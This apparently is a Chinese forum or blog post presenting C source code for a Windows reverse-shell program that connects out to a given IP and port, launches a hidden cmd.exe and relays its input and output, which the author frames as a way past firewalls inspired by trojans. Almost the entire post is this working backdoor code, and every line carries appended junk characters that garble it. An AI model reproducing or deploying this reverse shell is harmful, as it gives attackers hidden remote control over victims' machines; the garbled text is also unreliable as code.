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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 D-/q-=zd  
%.h&W;  
/* ============================== Dhe*)  
Rebound port in Windows NT 4'+g/i1S F  
By wind,2006/7 u ?-|sv*  
===============================*/ C`@gsF"<7  
#include 9\zasa  
#include O .ESI  
%eE0a4^".  
#pragma comment(lib,"wsock32.lib") tD~ n PbbB  
2 rFjYx8D!  
void OutputShell(); ] 6X;&=H  
SOCKET sClient; RoFOjCc>D.  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; tEN8S]X  
0!Vza?9  
void main(int argc,char **argv) `<Q[$z  
{ kl~)<,/@  
WSADATA stWsaData; UkTq0-N;2  
int nRet; th1;Ym+Ze  
SOCKADDR_IN stSaiClient,stSaiServer; z/I\hC9i  
,M.phRJ-`  
if(argc != 3) lR>p  
{ EKD?j  
printf("Useage:\n\rRebound DestIP DestPort\n"); Ob&m&2s,  
return; DFXHD,o  
} ELN1F0TneH  
)n&6= Li  
WSAStartup(MAKEWORD(2,2),&stWsaData); `0_,>Z  
g5C$#<28  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5|jsv)M+  
-U{CWn3G  
stSaiClient.sin_family = AF_INET; =h@t#-Z"  
stSaiClient.sin_port = htons(0); }`$s"Iv@  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _f1;Hhoa  
q$;j1X^  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) sXi~cfFaE  
{ dC<2%y  
printf("Bind Socket Failed!\n"); #z1/VZ  
return; 5SMV3~*P  
} k\TP3*fD  
yW)r`xpY  
stSaiServer.sin_family = AF_INET; [ [#R ry  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); B1V+CP3t  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 3#0y.. F  
I/*^s  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) SHYbQF2  
{ LVNA`|>  
printf("Connect Error!"); {pc  (b  
return; x[y}{T  
} #Dea$  
OutputShell(); p9E/#U8A_  
} wVq9t|V  
8 :;]tt  
void OutputShell() DDq?4  
{ i-}T t<^  
char szBuff[1024]; TILH[r&Jg  
SECURITY_ATTRIBUTES stSecurityAttributes; I 6'!b/  
OSVERSIONINFO stOsversionInfo; p/qu4[Mm  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; P6I<M}p  
STARTUPINFO stStartupInfo; (!PsK:wc  
char *szShell; S"t\LB*'Ls  
PROCESS_INFORMATION stProcessInformation; ~dC.,"  
unsigned long lBytesRead; z1^3~U$}  
c{IL"B6>  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); zm{`+boH<  
=axuLP))  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ' <?=!&\D  
stSecurityAttributes.lpSecurityDescriptor = 0; #N$\d4q9  
stSecurityAttributes.bInheritHandle = TRUE; m^~5Xr"  
(HXKa][T  
.Y0O.  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ?iZM.$![  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); l;r A}?,.^  
x_x_TEyyh  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); w!pj);jy{  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~z\a:+  
stStartupInfo.wShowWindow = SW_HIDE; Qo!F?i/ n  
stStartupInfo.hStdInput = hReadPipe; w~q ]&  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; g=KvCqJN  
44s 9\  
GetVersionEx(&stOsversionInfo); {b'  
WD_{bd)  
switch(stOsversionInfo.dwPlatformId) yEos$/*u-N  
{ |~ytAyw  
case 1: f62rm[  
szShell = "command.com"; l^^Z}3^Rk  
break; ;.Ld6JRunw  
default: zBK"k]rz  
szShell = "cmd.exe"; }Q*J!OH  
break;  LJ;&02w@  
} ff7#LeB9  
!Eg2#a?  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);  ^We}i  
}.pqV X{ d  
send(sClient,szMsg,77,0); PhPe7^  
while(1) cs7^#/3<  
{ 2$MoKO x8$  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); d!46`b$rd  
if(lBytesRead) Io"3wL)2  
{ [W*M#00_&4  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); "iGQ1#6|d  
send(sClient,szBuff,lBytesRead,0); sv&^sARN  
} +'Y?K]zbt  
else 5JEOLPS  
{ 5rfDm  
lBytesRead=recv(sClient,szBuff,1024,0); Td|u-9OM  
if(lBytesRead<=0) break; Rc3!u^?u  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ?0M$p  
} }30Sb &"  
} +0)M1!gK  
9Zj3"v+b  
return; |h%HUau  
}
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